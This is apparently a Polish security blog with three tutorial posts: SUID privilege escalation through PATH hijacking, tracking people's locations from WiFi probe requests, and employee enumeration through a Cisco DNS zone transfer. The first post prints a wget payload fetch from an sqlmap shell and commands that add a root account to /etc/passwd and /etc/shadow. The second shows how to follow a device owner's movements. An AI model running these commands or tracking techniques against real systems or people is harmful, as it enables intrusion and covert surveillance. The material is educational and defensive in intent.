niedziela, 30 lipca 2017

Eskalacja uprawnień z wykorzystaniem SUID

W eskalacji uprawnień niejednokrotnie wykorzystywane są podatne aplikacje z atrybutami SUID lub SGID. Często takie aplikacje są pisane przez samych administratorów systemów, a taką przykładową aplikacją może być następujący, bardzo prosty program w języku C:

Program ten, w celach demonstracyjnych, uruchamia polecenie whoami.

Kompilujemy nasz testowy program, a następnie nadajemy atrybut SUID:

root@redteam.pl:~# gcc test_suid.c -o test_suid
root@redteam.pl:~# cp test_suid /usr/bin/
root@redteam.pl:~# chmod u+s /usr/bin/test_suid
root@redteam.pl:~# ls -la /usr/bin/test_suid
-rwsr-xr-x 1 root root 8608 Jul 28 12:02 /usr/bin/test_suid
root@redteam.pl:~# su mysql
mysql@redteam.pl:/root$ /usr/bin/test_suid
root

Program uruchomiony z użytkownika mysql, wykonujący komendę whoami, zwraca root, właśnie z uwagi na nadany mu atrybut SUID.

Podatność w tym przypadku polega na niezastosowaniu ścieżki bezwzględnej (/usr/bin/whoami) do programu whoami. Najprościej taką podatność, szczególnie w niestandardowych aplikacjach, znajdziemy przy pomocy polecenia strings.

Jeśli przykładowo atakujący znalazłby na serwerze podatność SQL Injection, to przy pomocy programu sqlmap uzyskałby dostęp do powłoki, a następnie mógłby wykonać poniższe polecenia celem wykorzystania tej podatności:

os-shell> wget -q https://redteam.pl/download/az -O whoami
os-shell> chmod +x whoami
os-shell> PATH=.:$PATH
os-shell> /usr/bin/test_suid
os-shell> tail -1 /etc/passwd
command standard output: 'az:x:0:0::/root:/bin/bash'

W tym przypadku atak polega na dopisaniu do zmiennej $PATH dodatkowej ścieżki – aktualnego katalogu. W wyniku czego przy próbie uruchomienia programu w pierwszej kolejności będzie on wyszukiwany w aktualnym katalogu, a dopiero później w pozostałych:

$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
$ PATH=.:$PATH
$ echo $PATH
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Podatna aplikacja test_suid z atrybutem SUID uruchamia polecenie whoami bez ścieżki bezwzględnej. W wyniku dopisania aktualnego katalogu do $PATH, a następnie pobraniu do tego katalogu własnego programu o nazwie whoami, po uruchomieniu podatnej aplikacji, następuje wykonanie złośliwego programu z uprawieniami użytkownika root.

Takim programem, który posłuży do wykorzystania podatności, może być przykładowo w języku C (nie może być w języku skryptowym – na wszystkich interpretowanych plikach wykonywalnych SUID oraz SGID będą ignorowane):

Następstwem czego będzie dodanie użytkownika az o uprawieniach użytkownika root, przez wykonanie poleceń:

echo 'az:x:0:0::/root:/bin/bash' >> /etc/passwd
echo 'az:$1$qn9q54Bd$5Io7epAfYclG1VwgquNqe0:16514:0:99999:7:::' >> /etc/shadow

Hasło użyte w powyższym programie zostało wygenerowane przy pomocy polecenia:

$ openssl passwd -1 -salt qn9q54Bd adamziaja
$1$qn9q54Bd$5Io7epAfYclG1VwgquNqe0

Gdzie poszczególne człony rozdzielone są przez znak dolara. Cyfra 1 oznacza wykorzystanie MD5 (analogicznie 2 – Blowfish; 5 – SHA-256; 6 – SHA-512), następnie sól (qn9q54Bd) i hash hasła (5Io7epAfYclG1VwgquNqe0). Informacje te można zweryfikować przy pomocy przygotowanego przeze mnie skryptu shadow_parser.pl.

„Praktyczna analiza powłamaniowa. Aplikacja webowa w środowisku Linux”
Adam Ziaja, Wydawnictwo Naukowe PWN

Powyższy atak jak również inne techniki przedstawiłem w mojej książce, więcej informacji znajduje się pod adresem https://adamziaja.com/book/.

środa, 26 lipca 2017

Bezprzewodowy biały wywiad OSINT

Tematem bezprzewodowego białego wywiadu zacząłem zajmować się na poważnie już w 2010 roku przy okazji tworzenia pracy dyplomowej – http://wardriving.adamziaja.com. Informacje zebrane w trakcie wardrivingu mogą z powodzeniem być wykorzystywane do śledzenia użytkowników.

W celu demonstracji w trakcie jednej z branżowych konferencji uruchomiłem program do poglądu ruchu sieciowego (np. Wireshark, tcpdump itp), a następnie przefiltrowałem pakiety pod kątem WiFi probe request i znalazłem interesującą mnie sieci bezprzewodową (SSID). Pakiety probe request wysyłane są przez stację kliencką celem aktywnego wyszukania zapisanej w nim sieci WiFi.

wlan_mgt.ssid matches "(?i).*niebezpiecznik.*"

Program Wireshark.

Na podstawie filtrowania wyników ruchu sieciowego ustaliłem, że pakiety probe request, zawierające interesującą mnie nazwę sieci, są wysyłane przez jedno urządzenie. Dzięki pierwszej połowie adresu MAC udało mi się automatycznie ustalić, że jest to urządzenie firmy Apple.

Kolejnym krokiem było przeszukanie zebranych pakietów pod kątem tego danego urządzenia oraz jakie inne sieci WiFi próbuje wyszukiwać przy pomocy probe request.

wlan.sa == 00:26:08:b6:0b:a8 and
wlan.fc.type_subtype == 4
(probe request)


Dzięki tylko znalezionym nazwom byłem w stanie z dużym prawdopodobieństwem ustalić miejsca, w których był posiadacz danego urządzenia.


Możemy również wykorzystać dane pochodzące ze strony WiGLE, do tego celu stworzyłem skrypt wigle.py.


Zwraca on na podstawie SSID pozycje GPS, pod która została znaleziona dana nazwa sieci, im nazwa jest bardziej unikalna tym większe prawdopodobieństwo znalezienia konkretnej sieci.

Pozycję GPS możemy zamienić dodatkowo na konkretny adres przy pomocy danych z Google Maps, w tym celu stworzyłem skrypt revgeocode.py.


Dla ułatwienia napisałem również skrypt probe.py parsujący plik PCAP i wyciągający z niego informacje o probe request (SSID oraz MAC klienta).


Na koniec napisałem również skrypty pomocnicze, pozwalające ostatecznie na automatyczne parsowanie plików PCAP oraz prezentację wyników w formacie HTML.


wtorek, 25 lipca 2017

AXFR eksport strefy DNS

Przez wiele osób eksport strefy DNS (AXFR) uważany jest za błahostkę – nic bardziej mylnego. Zawartość strefy może dostarczyć atakującemu dużo informacji. Bardzo często informacje te pozwalają na poznanie loginów użytkowników, topologii sieci, lokalizacji paneli administracyjnych, serwerów deweloperskich czy wykorzystywanego sprzętu. Informacje te naturalnie dodatkowo mogą być wykorzystane w kolejnych krokach. Przykładowo eksport strefy DNS cisco.com pozwalał na ustalenie loginów pracowników:

Pozyskane w ten sposób informacje możliwe były do wykorzystania na forum wsparcia:

ams-rawouter-vpn.cisco.com

https://supportforums.cisco.com/people/rawouter



Tym sposobem można było pozyskać szczegółowe informację o pracownikach firmy. Jednocześnie nie było możliwości np. pozyskania tych danych poprzez wyszukiwarkę Google, ze względu na instrukcje znajdujące się w pliku robots.txt:

https://supportforums.cisco.com/robots.txt

User-agent: *
disallow: /people/


Przy pomocy prostego skryptu istniała możliwość zbudowania listy pracowników zawierającej login, imię i nazwisko oraz zajmowane stanowisko:

Błąd ten został zgłoszony firmie Cisco i poprawiony na długo przed publikacją.